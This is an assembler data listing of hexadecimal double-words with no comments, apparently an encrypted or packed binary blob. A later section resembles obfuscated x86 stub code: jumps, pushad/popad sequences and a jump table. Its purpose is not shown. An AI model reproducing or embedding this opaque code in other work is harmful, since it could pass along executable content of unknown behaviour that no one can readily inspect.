		dd 8BB13256h, 0FC49EB7Dh, 0DAB0330Ah, 0DCD7E2DDh, 0CFDC0489h
		dd 0A84ECDEEh, 0AC333DA9h, 0B5B13256h, 55BE5336h, 700853A1h
		dd 0B5B13256h, 5DB135D0h, 0AF3E3D56h, 0AEB13256h, 0A05899A5h
		dd 2EB13256h, 687CD157h, 832386EDh, 0F58ACE3h, 524ECDADh
		dd 0AEB13ADBh, 55303D56h, 0CBB13256h, 56BE5337h, 0EAB13257h
		dd 7AD1FBAAh, 0BAB132D4h, 3C998156h, 0A1B12294h, 57B13ED5h
		dd 0ABB6DB56h, 12803256h, 2A3B7778h, 0FDBE67B0h, 0BAB1324Ah
		dd 5DA2DB36h, 0FF8D3256h, 0AD4F60EBh, 8C076F06h, 0EA541DCDh
		dd 0A9E5153Fh, 14E861A2h, 3949DEDDh, 5058CE92h,	7BB13256h
		dd 6013F75Ah, 5488CB97h, 0A9BF4315h, 0EA59CE36h, 2FB13256h
		dd 298D8D7h, 0D9BE344Eh, 0AEB13247h, 57B13EBFh,	0E8234956h
		dd 0CB896D8Ch, 0DE845C79h, 7AD1CE43h, 0DB44C3E1h, 2AC288DDh
		dd 2FBE344Eh, 57B1324Dh, 0ABBFDB36h, 0DF0C3256h, 0FC60974Fh
		dd 0BBEDAB17h, 6E309D9h, 5DB1B859h, 9DD03256h, 31D1529Fh
		dd 219BD8D7h, 0B449B930h, 114D24EDh, 4A325353h,	7353D56h
		dd 3DB13255h, 5B86C5D6h, 0AEB6B937h, 0ABA8B559h, 3CD13256h
		dd 0EAB13244h, 43F7C2Ch, 0B85B70C5h, 0ED04FA62h, 0CAA28B3h
		dd 0A8D0A16Bh, 54483E23h, 0C5583A23h, 9DB13256h, 0EE69869Fh
		dd 1CF67508h, 0C3D27821h, 0FE40E160h, 5472DAA3h, 2AD13256h
		dd 9815C6BDh, 0E1D0CB7Eh, 6E343D96h, 43B13256h,	0A53A5436h
		dd 0CF70B930h, 0BE4D35DDh, 0ABB13271h, 3D305436h, 61D71154h
		dd 0B23253ADh, 0CD58CB42h, 3D4ECDA9h, 0B559B330h, 57B9DB6Eh
		dd 6A273256h, 792F6B7Ch, 63D06A9Ch, 0FDBECE13h,	0BAB13249h
		dd 5DA8B859h, 0BA583256h, 37B13256h, 0D37933E8h, 3BDA1FFEh
		dd 42CEDDF9h, 696F02BCh, 452C30CBh, 50583E23h, 3CB13256h
		dd 795387B4h, 10E1BAECh, 0ACFBC734h, 3B947A9h, 75B1325Fh
		dd 7A4CB680h, 76FC5F45h, 0A186CD77h, 57B13EDBh,	0AD3B3D56h
		dd 0DAB13256h, 0EAB132D0h, 75B4DB56h, 0D0CF3256h, 0B5B0E7B1h
		dd 0AEB1315Fh, 5C5852AFh, 0F8B13256h, 6AE66E06h, 0BCCBA76Fh
		dd 0F1BED355h, 0BAB1324Eh, 5DB120BEh, 75E1DA56h, 0FFF72968h
		dd 0D29530Dh, 8E7589A4h, 0B480725Bh, 7A713937h,	0BAB118D2h
		dd 2458CB56h, 0CEB13254h, 57B13FBEh, 1EB7B556h,	46D1C8F8h
		dd 2B001715h, 0FED7ACE5h, 38BE6A90h, 5DB13250h,	0AEB1B559h
		dd 0DCD03256h, 0A449CE13h, 0D5B130D5h, 0D3D05256h, 34333D51h
		dd 53B13254h, 5DB13251h, 8D73E6F0h, 0A87DB82Fh,	2EBECE13h
		dd 0D5B13257h, 0EECEB1A3h, 35353D56h, 46B13256h, 5DBD4DD5h
		dd 0AE84B659h, 58583256h, 0A2B13256h, 24BF7ED9h, 42E2CC8Bh
		dd 84739028h, 53494C9Fh, 5DB132D4h, 0BA313DA3h,	58B13256h
		dd 0ABB13CDDh, 0D5B8DB56h, 58F93256h, 0B1B180E3h, 2902B58h
		dd 0A24ECDA9h, 0AEBBDB36h, 5B0F3256h, 11778E32h, 0EB2FE9A6h
		dd 0EAB121BFh, 87113056h, 331276B3h, 0A74E68C6h, 0ECC01D71h
		dd 0F4E09846h, 0ABB48B37h, 56BE3256h, 0EAB13243h, 75B122BFh
		dd 15334B56h, 91E9AA85h, 0A97B5765h, 98FD4CFCh,	0CB1AC158h
		dd 2DFC8B30h, 2C0E3D36h, 75B1B659h, 0DBD03256h,	0A24F48BFh
		dd 0D132C7A9h, 0D3BE3746h, 0ABB13232h, 0D5B0BF59h, 69483256h
		dd 7AB72229h, 0BAB194D3h, 0DCD75256h, 255A0AB9h, 0ABF05386h
		dd 0A4B575DDh, 0D5B13ADCh, 0E83A3D56h, 15B13256h, 0B6EEB937h
		dd 5DA7B859h, 0BF583256h, 0DFB13256h, 37CB2904h, 868220DEh
		dd 5639C4D9h, 0F053B05Ch, 0BAB1F3BFh, 503F3D56h, 0CEB13256h
		dd 0DC0BE0D7h, 2AD77E6Dh, 0B4A96180h, 8AB575DDh, 75A2DB36h
		dd 28D23256h, 5C2596EDh, 7F86790h, 96A246A4h, 0A283F0EBh
		dd 0B3D0C721h, 69C7FDD7h, 79EEB937h, 0BAB13ABFh, 0C1A71056h
		dd 2BFF61D2h, 57D5DB25h, 0BF583256h, 69B13256h,	893A06D5h
		dd 209EF97Fh, 880BCABEh, 97D58047h, 25C9B136h, 0DABE3611h
		dd 0ABB13257h, 0D9EEB9AEh, 6F085436h, 147EB968h, 46B56D7Dh
		dd 3DB4D9D5h, 0AEB135BEh, 8D991356h, 8BBAC080h,	0CF50B330h
		dd 13D06816h, 76A14DD5h, 0BAA1B759h, 1C493256h,	0AD323D36h
		dd 58B13256h, 7831C2E1h
		dd 0C9A53D4h, 0EAB13BBFh, 161E6056h, 0DD58AF3Bh, 1384D2Bh
		dd 22BE3357h, 57B1324Ah, 0ABA2DB36h, 449C3256h,	221C2793h
		dd 951B7BE2h, 0CE364424h, 0CE29D680h, 0CFD052EDh, 0A84ECDEEh
		dd 0ABA2DBA9h, 0AC7F3256h, 0BF396799h, 772AAE0Dh, 0FF7206EDh
		dd 8DAFA11Bh, 0AEB48BF6h, 31D13256h, 0CA9F4EEDh, 3C4499A5h
		dd 154ECF51h, 75B0BB59h, 4F483256h, 5DBFDB37h, 0EEC53256h
		dd 0B3842C08h, 418969A7h, 203F38F6h, 0E5598636h, 0BCD0C5E1h
		dd 0BABFB759h, 0DCD13256h, 0C4CD2B9h, 5E78B308h, 0CAFBC17Dh
		dd 3CB13A94h, 0EAB1325Eh, 0DB68CA8Bh, 0BA0CAD00h, 5F383D36h
		dd 24B13256h, 70086595h, 0F5C6A5FCh, 51BE6737h,	0EAB1325Eh
		dd 75B3B059h, 0DBD13256h, 5DB13ABFh, 97923056h,	5C46A4A7h
		dd 5E5DB9A1h, 0DA4DF6D5h, 0EAB121D4h, 75BFDB56h, 8183256h
		dd 1071453Ah, 0C2B98DB6h, 0D8CBB673h, 0AA393D36h, 2CB13256h
		dd 1FB977DDh, 7ABD776Dh, 0BAB16ED4h, 0B5315256h, 11BE5240h
		dd 6CD053A0h, 2CBE2213h, 0D5B1321Fh, 0EAA2DA36h, 8D233256h
		dd 0B96378B2h, 0B9B2EEBh, 4DCD6565h, 4552D08h, 0ABBDDB78h
		dd 0C5E33256h, 3609C8Ch, 99A68915h, 30EB1722h, 18765386h
		dd 0AEB132AAh, 0E9D75256h, 693A0E3Dh, 0D587DB37h, 8CD13256h
		dd 893483EDh, 46F4F537h, 5DB13257h, 0AEB9B859h,	0D7BE3256h
		dd 0ABB13254h, 0C0585336h, 0E5B13256h, 75B13DD5h, 0BABBDB56h
		dd 0E7863256h, 5155B981h, 288A6852h, 5C315237h,	0D5B6DBC4h
		dd 79823256h, 1BB05EF2h, 0FF3A53E1h, 57393DAAh,	0CEB13256h
		dd 0D0BEDADCh, 0ABB13256h, 1749FB37h, 3D1325Ah,	75B13245h
		dd 35185E2h, 39A1EE67h,	1297BA66h, 8E7600DEh, 0CD856055h
		dd 0B486F8E8h, 0EAA3DB36h, 0E3E63256h, 197EA59Bh, 58524BBCh
		dd 36E3AD13h, 5846697h,	0C4BE23E9h, 0B5E4537Dh,	0E5548930h
		dd 75B138BEh, 2D27E356h, 80B5F38h, 0A14DD403h, 36EAF3E1h
		dd 0A158DEDDh, 0DB13256h, 47E28B84h, 0BBE236B0h, 4675B122h
		dd 5DB120BFh, 0F656956h, 0F4116B92h, 3DE1DF13h,	39A74096h
		dd 8A171F33h, 75B1DAAFh, 3BEB3256h, 450F1EBCh, 25D75250h
		dd 3642B98Eh, 0CB7801AFh, 3D69F7D6h, 0EAB13247h, 31FC6E50h
		dd 0A1CB0A9Dh, 0C202C294h, 25334F66h, 0AD3A54B7h, 24BE530Eh
		dd 0D5B13242h, 0EAB13DBFh, 0A7CF6A56h, 69C50079h, 0C54B44D9h
		dd 4FA53C8Fh, 4658E965h, 0A4B13256h, 0BB16DE8Eh, 198D522Bh
		dd 3C62BCD6h, 74F66D59h, 3D4D6FDFh, 0AEA3BE59h,	5A583256h
		dd 0AEB13256h, 0EBC23A7Ah, 21E7C035h, 71D9E884h, 0DBE8EED6h
		dd 2AC288DDh, 2D49344Eh, 0D3BE3269h, 0ABB130F8h, 0D3373D36h
		dd 0E5B13256h, 75B132D8h, 0BA363D56h, 3CB13256h, 0A14E0DD5h
		dd 57B178D3h, 0BD3D3D56h, 3CB13256h, 0EAB13247h, 5876B47Dh
		dd 86814AD6h, 683DE175h, 73E8B94Ch, 4376B140h, 0ABB135BFh
		dd 36277756h, 0AAEC106Eh, 8A4E98BFh, 0AE313DA9h, 0B4B13256h
		dd 0AEB13259h, 0B3CA3375h, 0ED1837F9h, 281A91C8h, 69821C7Bh
		dd 7AB13629h, 0BAB156D2h, 493C3D56h, 0CEB13256h, 57B13BBEh
		dd 38F2456h, 0F773FFF5h, 8CE9DDD9h, 0F6D0C9DDh,	0B5B13E29h
		dd 5DB172D2h, 6F305256h, 0A5F698Eh, 0ABB13CBFh,	0E21C3856h
		dd 8221B5C4h, 0E48BCDCCh, 0DB86E362h, 5DB153BFh, 0AF353D56h
		dd 0ABB13256h, 0ABB126BFh, 3BE79D56h, 9D8B6FBAh, 6F6C4778h
		dd 0B05C35F5h, 8CE2CFFFh, 52F4CD82h, 57B123BFh,	4BA58D56h
		dd 6B03416Ah, 2E164035h, 3501D41h, 0DCD1EE62h, 79E2E8D7h
		dd 0BA76B137h, 57BDDB36h, 0E6333256h, 3481414Ch, 0A53277E7h
		dd 0CED70BD7h, 42D020E8h, 0A24FD0BFh, 0D132CEA9h, 0D3BE3746h
		dd 0ABB13227h, 0C5CEB1AAh, 61343D50h, 9CB13256h, 0BAB13247h
		dd 51F3E7E8h, 89F42F9Eh, 0E3F93436h, 0F35D499Fh, 0D8587366h
		dd 3CB13256h, 968C8096h, 5A76513Fh, 350299FFh, 0AEB126BFh
		dd 58518F56h, 0EE6803DAh, 0EB36E26Dh, 0E3A33C79h, 0B5BD6841h
		dd 0BEF6B91Eh, 5DA0B059h, 0A2583256h, 8B13256h,	0B98DC3E9h
		dd 6050A9h, 6100F99Dh, 9C443E09h, 0BAB13284h, 59F6B9A3h
		dd 857FB336h, 36C5AFBEh, 53BD6DDDh, 0D5B1A7BFh,	0EABADB56h
		dd 3A6D3256h, 5C2993B6h, 3AD72E8Fh, 0E93ACEC6h,	57BADB52h
		dd 85513256h, 0B1FA4D9Eh, 0E0B9DF9Bh, 79EEB930h, 0BAB0B959h
		dd 76443256h, 0BA583609h, 88B13256h, 0BBE86623h, 1770CC8Dh
		dd 0DBA1FD58h, 0E68BC343h, 39C6350Bh, 0DE4937BDh, 0A1B22229h
		dd 57B10FD3h, 0A0585256h, 0F2B13256h, 0DC59817Dh, 0EFBEECE3h
		dd 4C30AD3Ah, 446D83EBh, 0A23C3D37h, 58B13256h,	0ABB134D6h
		dd 0D5313D56h, 0ABB13256h, 598A36h, 3D70D61h, 52D08F58h
		dd 0AEB133D4h, 8E9AC756h, 0ABB122BFh, 307B0156h, 6DB810BAh
		dd 3CCEE407h, 0E1ECCDA5h, 5DBDDB52h, 0AC463256h, 5B82F729h
		dd 610B529Dh, 893809B0h, 0F9583357h, 7AB13256h,	0A155557Ch
		dd 0D72312D2h, 207FFF01h, 971C6FA7h, 540970B5h,	0B54ECDA9h
		dd 0EAB1BC59h, 0F4D73256h, 0DBB1EDA0h, 5DB137EFh, 542CB56h
		dd 2168B336h, 0A4D9F33Bh, 3CD0C3E1h, 154ECF19h,	0C2B18336h
		dd 43D053ACh, 5DB138BFh, 1DDBF056h, 4093482Fh, 20F4F65Bh
		dd 5BBECE13h, 0EAB13267h, 75A5DB36h, 33323256h,	0D6D35BE6h
		dd 546D2157h, 6201D730h, 61EEEEB0h, 0C458B63Fh,	48B13256h
		dd 0F15C03CEh, 5828C54h, 0B58EEC33h, 5E370854h,	4358FB37h
		dd 0B4B13256h, 4E33DF19h, 546D45AEh, 0E226AB3h,	0B95AB8E8h
		dd 9EDA6EF2h, 0AEBCB959h, 0E8D13256h, 9F103C48h, 0D5B1B059h
		dd 0BAD03256h, 75B120BFh, 90D39C56h, 0A50985AAh, 1835A33Ch
		dd 0F3BB242Eh, 0FA248253h, 0D5B4DBA3h, 0D93256h, 268BCB26h
		dd 0BAB1DAAAh, 0DCEB3256h, 0B67322BCh, 5D3F3D50h, 42B13256h
		dd 0D5B13253h, 187D5B14h, 0EF3CC72Fh, 0BCA94A1Fh, 5DB6B959h
		dd 0A1D13256h, 0AE3AC3E1h, 0AA313D37h, 20B13256h, 0EAB156EEh
		dd 0FABE5256h, 0BAB13255h, 0D772B930h, 0F05953BDh, 58B13250h
		dd 0ABB135D8h, 0D4323D56h, 12B13256h, 675839DDh, 0FFB13256h
		dd 14A90E81h, 0B21F8DC0h, 3053B61Bh, 383C0FFAh,	0DC585208h
		dd 0B3B13256h, 21FF12A6h, 657E11CEh, 0A5700937h, 0AEB19CBFh
		dd 5E58C756h, 4CB13256h, 6F02229h, 88F7379Ch, 89B57955h
		dd 38BEF36Dh, 5DB13299h, 0AEA9B959h, 44583256h,	4EB13256h
		dd 0C2D577DEh, 81851199h, 2E074B21h, 5D669471h,	16B2D1AEh
		dd 0AEBCDB46h, 4623256h, 844CBF79h, 10D633C1h, 0D1B6B43Dh
		dd 55333D97h, 0B5B13256h, 5DB131D4h, 0CF445256h, 57A6DBAAh
		dd 2CBE3256h, 0D5B1325Dh, 9657B236h, 33C7F8D7h,	53D0002Bh
		dd 5DB132FEh, 0AE13DBAFh, 0D4BE3256h, 0ABB1325Ch, 0B3A5436h
		dd 8205CDE8h, 0FEBE533Dh, 0BAB13241h, 5DB120BFh, 0DC457056h
		dd 2F18AD74h, 533AA9C5h, 522A0D91h, 67AA1255h, 6CE4FBCCh
		dd 0B0323D50h, 0B4B13256h, 0AEB13253h, 44D92D64h, 5262CD23h
		dd 0D5B165BFh, 0E0393D56h, 15B13256h, 38BE49E0h, 5DB13256h
		dd 0AEB8DB37h, 134E3256h, 9FE832ABh, 584FBBCFh,	0F3E9DDCCh
		dd 75BFDB50h, 18473256h, 1EDD4C9Ch, 0FB70495Ah,	836D277Ch
		dd 42D1E1A9h, 0D5B1325Bh, 60DA1B95h, 9560D560h,	0DB4F4985h
		dd 5DB4DB33h, 0E9693256h, 360EBF47h, 42E8CE0Dh,	0D5B13245h
		dd 8E67C690h, 2C88C9F8h, 0CF53E055h, 0A792E7AFh, 0F6F828D5h
		dd 0A73A5436h, 4272CA37h
		dd 0D5B1325Ah, 5827C0F5h, 4CE8EDF5h, 3320DB49h,	0B13ACE03h
		dd 0AEB1DAAFh, 0D6EB3256h, 0B372CABCh, 0B5E05250h, 8AD06A37h
		dd 75B135BEh, 0DAD64456h, 0CB6E510h, 0AEB120BFh, 0A3923D56h
		dd 457B000Bh, 0E42CB78Eh, 0D00FAEh, 2B87D9F9h, 0BAB137BFh
		dd 63750256h, 47D0CB98h, 57B13242h, 0A1D73BD5h,	0BEC36DC2h
		dd 485D5713h, 8196FB8Eh, 72CE7D17h, 5DA9BE59h, 22BE3256h
		dd 57B13244h, 0ABB13FBFh, 79E1B156h, 307486A2h,	0A6C6C717h
		dd 0B5D16FF6h, 5DB13ED2h, 0A83B3D56h, 58B13256h, 0ABB132D3h
		dd 9C0BBF56h, 0E5B72A2Eh, 75B133D5h, 0FF3AC756h, 5A38C75Eh
		dd 0AEAABA59h, 0BED13256h, 0ABB13244h, 0D2584F57h, 49F2A3D5h
		dd 27AB50E8h, 6DC27DD3h, 803B711Ch, 0A2F4B937h,	584FB936h
		dd 0ABB132DCh, 92385356h, 0E4373D52h, 9CB13256h, 0BAB1325Fh
		dd 2B9E6428h, 67E5970Ch, 47F4B90Dh, 0ABB135BFh,	5B15D756h
		dd 4F048539h, 15BD75DFh, 3ABEEBDCh, 5DB13254h, 25D06C01h
		dd 0DE442613h, 27BE2211h, 0D5B13251h, 0EAB0B459h, 9C493256h
		dd 0BAB1325Ah, 3E0D9DF3h, 0F46FF4BEh, 0E01B74ABh, 73315237h
		dd 63A547Dh, 2849FB37h,	7AD13246h, 0BAB130D5h, 3BD05256h
		dd 0CF7840EEh, 0EDD75236h, 0A5587F2Dh, 0C5B13256h, 2F7743BDh
		dd 0F1E2A8D2h, 0C9D3334Eh, 0D87753CEh, 0A8A31A27h, 4DD9CB11h
		dd 0CB192525h, 0B3D161E4h, 825CFBD7h, 14D0C1DDh, 0BAB13DBFh
		dd 0C36AC256h, 0B465268h, 3E1AFD79h, 7BDBD38Dh,	0E55887A9h
		dd 0E2583444h, 33B13256h, 43FF726h, 0B4ACF2F1h,	0AEB1325Ah
		dd 759E7020h, 6D7EA6ECh, 299E8ECDh, 9584B7DBh, 7B583443h
		dd 80B13256h, 0A15FEEDh, 0F5811FE1h, 44E957BFh,	5361CD73h
		dd 0B3D160AFh, 2618BE8h, 75B13246h, 216FDBD4h, 1BA78E42h
		dd 0A4B59D6Bh, 0D32FB30Ch, 0CAE95336h, 0ACC2B8DBh, 64BE344Eh
		dd 75B13257h, 0A95952AEh, 5DB13256h, 84679C6h, 0ACCCF971h
		dd 0FB594F70h, 93AA0C8Dh, 5DBE69FEh, 15D16C8Eh,	0FD7FB337h
		dd 3CD91FE7h, 47D16337h, 57B13251h, 4883BEACh, 3C047022h
		dd 0EAB13258h, 2C782098h, 33E83DA5h, 47143AE8h,	51D0B90Dh
		dd 0D9BE5286h, 0ABB13241h, 0D5B120BFh, 98813C56h, 65E5B470h
		dd 0CB79F2DAh, 5F391ED3h, 0C82393CCh, 0FEF0C1D7h, 0ABBBDB37h
		dd 0E7763256h, 83FCD98Ah, 0AD180D73h, 31D7520Ch, 1640B381h
		dd 0CF9E37C3h, 2EC2B0DBh, 25BE344Eh, 0D5B13243h, 0EAB122BFh
		dd 5C2DE356h, 797B6B68h, 56DFDFD5h, 5ACE59CAh, 17063D4Fh
		dd 0ABA3DB5Ah, 92703256h, 1890EE26h, 38D47E2Ah,	37E678E5h
		dd 0CDD0D1E3h, 0AEA2DB36h, 4A1F3256h, 0F2CAF60Dh, 458B2EBBh
		dd 19113B33h, 0E72BAF72h, 0BAB4DB3Ah, 125D3256h, 0CF5B6626h
		dd 5C58EADDh, 0F7B13256h, 57171AABh, 6D708F30h,	15E3718Fh
		dd 0BAB3BA59h, 933A3256h, 0A1D033E5h, 29085267h, 11FDBC39h
		dd 0BA4863EBh, 8BD16837h, 0FC4DF155h, 0A8BDBBD4h, 503D3D50h
		dd 47B13256h, 57B1325Eh, 9FA778A6h, 0F734756Ah,	0EAB123BFh
		dd 5B708056h, 0A0B6C889h, 5A2E9293h, 57F4957Fh,	0A2D0D6D3h
		dd 0ABA0DB95h, 0DADA3256h, 0A4E53637h, 0C3749A16h, 0FD22D609h
		dd 51763B34h, 6052F9F8h, 595E5752h, 14E9h, 25D4400h, 5169B1DDh
		dd 0D2AA53E0h, 0A095BFA3h, 6E177D8Fh, 8C0F61EDh, 1, 0E8FCh
		dd 815A0000h, 18C780EAh, 8B606006h, 616160C1h, 46C88166h
		dd 0EE9613Fh, 21000000h, 65310065h, 12047710h, 54D8E7F7h
		dd 9E95232h, 4D000000h,	57A56F8Ch, 4FFEA14Eh, 0C89828Bh
		dd 66600612h, 24B1F681h, 4E6DB961h, 0F7F541C6h,	15860FE1h
		dd 0E9000000h, 10h, 111CB279h, 0D5F41BF4h, 96CEC5B0h, 6255C966h
		dd 19830F5Ah, 0E9000000h, 14h, 0C64E223Bh, 4746D054h, 82511B3Fh
		dd 5696D17h, 4F0898A3h,	303905h, 13E900h, 53850000h, 51A10BF9h
		dd 0EE2B14E8h, 6530176Fh, 2DD69FE9h, 19880F19h,	0E9000000h
		dd 14h,	9BA7CFDBh, 0F5F6D2AFh, 5480F986h, 0FB19983Ah, 35D1C242h
		dd 0FFFFFF25h, 7E97Fh, 9A8C0000h, 6F0FD98Bh, 898289EEh
		dd 0E906120Ch, 10h, 0A87B1583h,	13DD84B6h, 53E79898h, 0E1DA6543h
		dd 850F5AF5h, 11h, 0CE9h, 56365B00h, 21A71537h,	0B001D64Bh
		dd 860F5951h, 15h, 0F810Fh, 0AE90000h, 85000000h, 222462D8h
		dd 33F04211h, 0EE9C3C9h, 0FC000000h, 23CD6A9Ch,	58FEC032h
		dd 0A4DF1882h, 66605138h, 0EE8CF8Bh, 50000000h,	6FA035F2h
		dd 9C3BC1E9h, 0A76E317Bh, 0CEBF0F30h, 0F52615Fh, 18Ah
		dd 0E8F500h, 5A000000h,	0C8E1EA81h, 8B600618h, 61F38BCAh
		dd 1890FFCh, 0FC000000h, 0BE9C88Bh, 9A000000h, 0D02FE09Dh
		dd 5B2FB1EBh, 44E84CCEh, 0F5FFFFFEh, 118D0Fh, 830F0000h
		dd 0Bh,	6E9h, 4C8BFF00h, 33942A4Ah, 0F1F7F5D2h,	12E960h
		dd 39E30000h, 27665C31h, 6F2A470Bh, 44508B53h, 0CF308ACh
		dd 0E890Fh, 8E80000h, 9B000000h, 0FA7AE1CBh, 59218F94h
		dd 0E9C28B61h, 6, 113154EDh, 605A6637h,	0B9D6B70Fh, 18E2B6C9h
		dd 0C3F95961h, 18E0Fh, 8BF50000h, 0C08BFCC0h, 0AE9h, 0FE752900h
		dd 961F40BBh, 8DFBD4C5h, 188EAE85h, 11E906h, 81990000h
		dd 838F8623h, 0E79257D9h, 23FE2D4Dh, 0E9259B15h, 0Dh, 91A609C3h
		dd 5F79BE08h, 0F27AA981h, 0F5D0FF27h, 60C18B66h, 0EEEBB851h
		dd 0BA586647h, 44015076h, 12E961h, 44740000h, 9C7216D0h
		dd 0B8538E00h, 58785864h, 2ED1ED2Ch, 0C751858Dh, 0E8600618h
		dd 0Eh,	25150DEEh, 7A3C1953h, 0FD489517h, 0E95B30FCh, 10h
		dd 1CC24FEEh, 82FC2741h, 0C7E73C54h, 0E3FC9674h, 0C1858961h
		dd 0F06120Dh, 18Eh, 8E9F800h, 0DB000000h, 5BD74A33h, 8DF1A996h
		dd 18C8B785h, 6660F506h, 0FCF6F681h, 613FF480h,	9B98589h
		dd 0F8600612h, 5E9h, 99345900h,	0B861FE89h, 0
		dd 0AE960h, 1CB90000h, 0AB1FEB46h, 6E532419h, 158D0F61h
		dd 0E9000000h, 10h, 748FA1A1h, 0C1C76A5Eh, 92938169h, 0DD5ABECBh
		dd 840FC00Bh, 134h, 7185C6F8h, 56061228h, 11890Fh, 0CE90000h
		dd 46000000h, 2CDC8D5Ch, 0C83AA411h, 682B9CCBh,	0A9C530DFh
		dd 18810Fh, 13E90000h, 16000000h, 0EA7E2040h, 4EB48736h
		dd 2EEBE760h, 81C67561h, 0B5FF9A52h, 61230E9h, 158F0Fh
		dd 0F9600000h, 0CE8h, 0C7096200h, 248029B6h, 0BA0D85C8h
		dd 8D6158F5h, 157F3585h, 6E906h, 0AC940000h, 0EC1ABC78h
		dd 820FD0FFh, 6, 8B66FC60h, 605061CAh, 118D8D61h, 0F06120Ah
		dd 185h, 0F51FC00h, 789h, 0C3806000h, 6159508Ah, 0AE9046Ah
		dd 0B3000000h, 94F932D2h, 0A780A2C4h, 10006822h, 57600000h
		dd 0F58D78Bh, 184h, 0FF61F500h,	120895B5h, 0EE9F806h, 9C000000h
		dd 0F25B83F1h, 550DAEDEh, 41FD374Eh, 0FD0FF36h,	68Fh, 0D18B6000h
		dd 8B61D88Bh, 120895BDh, 7F03F506h, 0DE93Ch, 0C7B30000h
		dd 60A8B530h, 0EA63B6B1h, 8122FBB9h, 0F8C7h, 11E900h, 0AEE50000h
		dd 0BEAFF76Ah, 48683ED6h, 428156h, 0C7017634h, 202447h
		dd 0B9606000h, 4A25A192h, 61F8B70Fh, 2AA19D8Dh,	0BE90612h
		dd 87000000h, 0BC40A204h, 3F179482h, 38B79ABh, 0C00B6160h
		dd 1D840Fh, 0B4600000h,	0DE816643h, 8B619457h, 8860F00h
		dd 0F000000h, 28Ch, 89616000h, 0B9F80443h, 234CF6h, 0CE9h
		dd 83101700h, 48h, 0
		dd 0AA1E900h, 0A0680000h, 0E90618CDh, 0FFFA7ED2h, 18CEA168h
		dd 7EC8E906h, 6A68FFFAh, 0E90618D0h, 0FFFA7EBEh, 18D15E68h
		dd 7EB4E906h, 0DF68FFFAh, 0E90618D2h, 0FFFA7EAAh, 18D44168h
		dd 7EA0E906h, 1B68FFFAh, 0E90618D5h, 0FFFA7E96h, 23DBC3DFh
		dd 22DACCD9h, 20D8CED8h, 1CD4CAD6h, 1DD5D1D2h, 5F44C3ADh
		dd 5A458F47h, 62428C44h, 5F428C44h, 6C67873Fh, 9965AE56h
		dd 0A825A3B3h, 0EA7A247Dh, 0A55D4160h, 0B0A16091h, 0A93BE1F7h
		dd 7B2EB581h, 0A5F8A6FBh, 0C5F99EB4h, 0FE5EBB93h, 947101A5h
		dd 209EA6DDh, 5C2FE4C1h, 25B074CCh, 0B7EA4C6Ch,	0D8CD57E7h
		dd 0C1833ECEh, 0BF10758h, 3E4C6C25h, 6A66B88Bh,	2F0255F1h
		dd 0C4436A42h, 5CC1A733h, 0B97BCE81h, 2Eh, 0C386B304h
		dd 0C10FBCD2h, 9CE4BB93h, 2C099905h, 0C1DB3775h, 255D3F7h
		dd 0C21AAA5Dh, 4C6C1366h, 55F16A66h, 6A420502h,	0CA72h
		dd 247DBD00h, 4360EA7Ah, 0FEA8FD45h, 81A948B0h,	774AFDB5h
		dd 5A445DE7h, 23832169h, 0EBB640D0h, 77E3FBB3h,	8BB581AEh
		dd 18978816h, 34D06A46h, 0EBBBE9C0h, 520DC518h,	0E9D8399h
		dd 39D04A7Eh, 0F6285D4h, 57AA7D78h, 44D4CAD7h, 0F00C3F0h
		dd 6CE590F9h, 5A12C544h, 65563546h, 8C1C821Dh, 556B5CAFh
		dd 427B18A2h, 48B0C697h, 0FD465908h, 3E86774Ah,	3F894165h
		dd 0FD844264h, 0EF3ADCEDh, 89A7F57h, 851D0000h,	8E176119h
		dd 90166018h, 8C145E16h, 93105A12h, 85EB5B13h, 0CD852182h
		dd 0CA821C83h, 0CA822480h, 0C57D2180h, 6C94AAA5h, 0E1B39964h
		dd 0C40CE663h, 5936C6E0h, 49D9CDD9h, 0A99196Ch,	79AE49Ch
		dd 0B382DF97h, 19D2C386h, 0C088429Ah, 586EDE1Eh, 0B581DCB0h
		dd 0CC1FF2A5h, 93B4CD7Eh, 0D7EDA6BBh, 4C6FF431h, 791E7124h
		dd 148DD5C6h, 0ACA7378Ah, 0F437DDF3h, 772A4C6Fh, 0F412D624h
		dd 7E7A4C6Fh, 61EE69E5h, 0CA866A41h, 0D1000000h, 0EA7A247Dh
		dd 0D3634360h, 81AEDF7Bh, 207E23B5h, 4165AD68h,	0E3BBE565h
		dd 0A3237653h, 0BC10A0FEh, 0C5DBCC8Fh, 446C51DCh, 1226DE91h
		dd 722C75E1h, 413205E2h, 7BAFFF2Bh, 0DACB7E42h,	0D0D00B5Bh
		dd 6340D0D6h, 0DF9B81ACh, 0E0535628h, 4C9F2331h, 495AA25Bh
		dd 13C3293Fh, 0C3764658h, 308360F0h, 0FBB3F3B0h, 0F6B4F2B1h
		dd 3ADDF665h, 99E7BF57h, 1E000007h, 18621A84h, 1761198Dh
		dd 155F178Fh, 115B138Bh, 0EC5C1492h, 84228184h,	811D82CCh
		dd 81257FC9h, 7C227FC9h, 93A9A4C4h, 0B399676Dh,	7DE562E0h
		dd 0DC88026h, 843C068Eh, 0D9EF1AABh, 0B581A933h, 20A07326h
		dd 4CCC1F7Fh, 0D6914955h, 0AACE3057h, 4EA14E43h, 7A247DBBh
		dd 5D4160EAh, 0A16091A5h, 0C7559AB0h, 6EB6BB93h, 0BDE1BE33h
		dd 0ED7D502Dh, 6518BD10h, 64564BD5h, 386047D6h,	0EEB8EDF6h
		dd 2EAE815Eh, 0A35B2E78h, 22384859h, 4C6C75FAh,	59E9BC6Fh
		dd 2A100401h, 65FEFAC5h, 0FAB2ECB5h, 8870863Fh,	0BDC72610h
		dd 6A37B70Ah, 9B4CA434h, 0FBC72610h, 138E42D7h,	1889D38Bh
		dd 7CFBF686h, 0BB4F39D5h, 0F8AD2DF5h, 0EE411EAEh, 267443A0h
		dd 6BF012C7h, 0A8F7FAA7h, 216B23F6h, 2EA0080h, 25C72674h
		dd 607331E5h, 7629CE56h, 0B2BF13A3h, 996DECFh, 29440595h
		dd 425CA3EEh, 0FB30E7BAh, 3C5D8908h, 657B6CBFh,	0C934C54Ch
		dd 216CE81h, 0B2112F1h,	0D707548Eh, 146CFCAFh, 0D30374D3h
		dd 0A6A6BBB7h, 0FDACDDB1h, 390C3h, 0C40C0E00h, 7435C5E1h
		dd 3E2C62A2h, 86D9AC1Ch, 732C5BFCh, 0DF2D792Bh,	0B581AB39h
		dd 0D8F24A1Ah, 0A64B8BEDh, 2556A0F3h, 476FC948h, 5B3CE9E9h
